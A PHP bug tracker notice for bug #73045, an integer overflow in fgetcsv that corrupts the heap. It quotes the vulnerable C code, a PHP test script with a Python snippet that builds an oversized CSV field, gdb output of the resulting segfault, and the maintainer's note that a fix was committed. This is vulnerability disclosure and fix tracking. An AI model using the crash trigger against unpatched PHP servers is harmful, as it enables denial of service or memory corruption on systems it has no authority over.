Sec Bug->Bug #73045 [Csd]: integer overflow in fgetcsv caused heap corruption

From: Date: Mon, 13 Feb 2017 01:24:08 +0000
Subject: Sec Bug->Bug #73045 [Csd]: integer overflow in fgetcsv caused heap corruption
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-207334@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=73045&edit=1 ID: 73045 Updated by: stas@php.net Reported by: minhrau dot vc dot 365 at gmail dot com Summary: integer overflow in fgetcsv caused heap corruption Status: Closed -Type: Security +Type: Bug Package: *General Issues Operating System: ALL PHP Version: 5.6.25 Assigned To: stas Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2016-09-13 04:11:53] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. ------------------------------------------------------------------------ [2016-09-12 03:56:10] stas@php.net Most probably fixed by https://gist.github.com/39b697c75a0502e091a1191f83029034 but there's size_t/uint conversion so to be sure I'll add a check. ------------------------------------------------------------------------ [2016-09-08 09:37:18] minhrau dot vc dot 365 at gmail dot com Description: ------------ The fgetcsv function will read file and parse it as csv. But if has has a csv field with length, it'll cause integer overflow and will lead to heap corruption: PHPAPI void php_fgetcsv(php_stream *stream, char delimiter, char enclosure, char escape_char, size_t buf_len, char *buf, zval *return_value TSRMLS_DC) /* {{{ */ { char *temp, *tptr, *bptr, *line_end, *limit; size_t temp_len, line_end_len; int inc_len; zend_bool first_field = 1; ... temp_len = buf_len; temp = emalloc(temp_len + line_end_len + 1); //this value here will be overflow integer /* Initialize return array */ array_init(return_value); Test script: --------------- <?php ini_set('memory_limit', -1); $handle = fopen("/opt/lampp/htdocs/a", "r"); /*use python to create this file: >>> f = open("/opt/lampp/htdocs/a", 'w') >>> f.write("a,"+"A"*(0xffffffff/2+1000)) >>> f.close() */ $str1 = fgetcsv($handle); var_dump(strlen($str1[1])); chunk_split($str1[1], 11, $str1[1]); ?> Expected result: ---------------- No crash Actual result: -------------- Starting program: /home/minhrau/PHP-5.6.25/sapi/cli/php ~/phptestcase/testfgetcsv.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". Breakpoint 1, php_fgetcsv (stream=0x7ffff7fa1190, delimiter=44 ',', enclosure=34 '"', escape_char=92 '\\', buf_len=2147484649, buf=0x7ffef0726030 "a,", 'A' <repeats 198 times>..., return_value=0x7ffff7fa0018) at /home/minhrau/PHP-5.6.25/ext/standard/file.c:2072 2072 temp = emalloc(temp_len + line_end_len + 1); (gdb) p temp_len + line_end_len + 1 $1 = 2147484650 (gdb)c int(-2147482649) Program received signal SIGSEGV, Segmentation fault. 0x00007ffff11ff9a4 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6 (gdb) ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73045&edit=1

« previous php.bugs (#207334) next »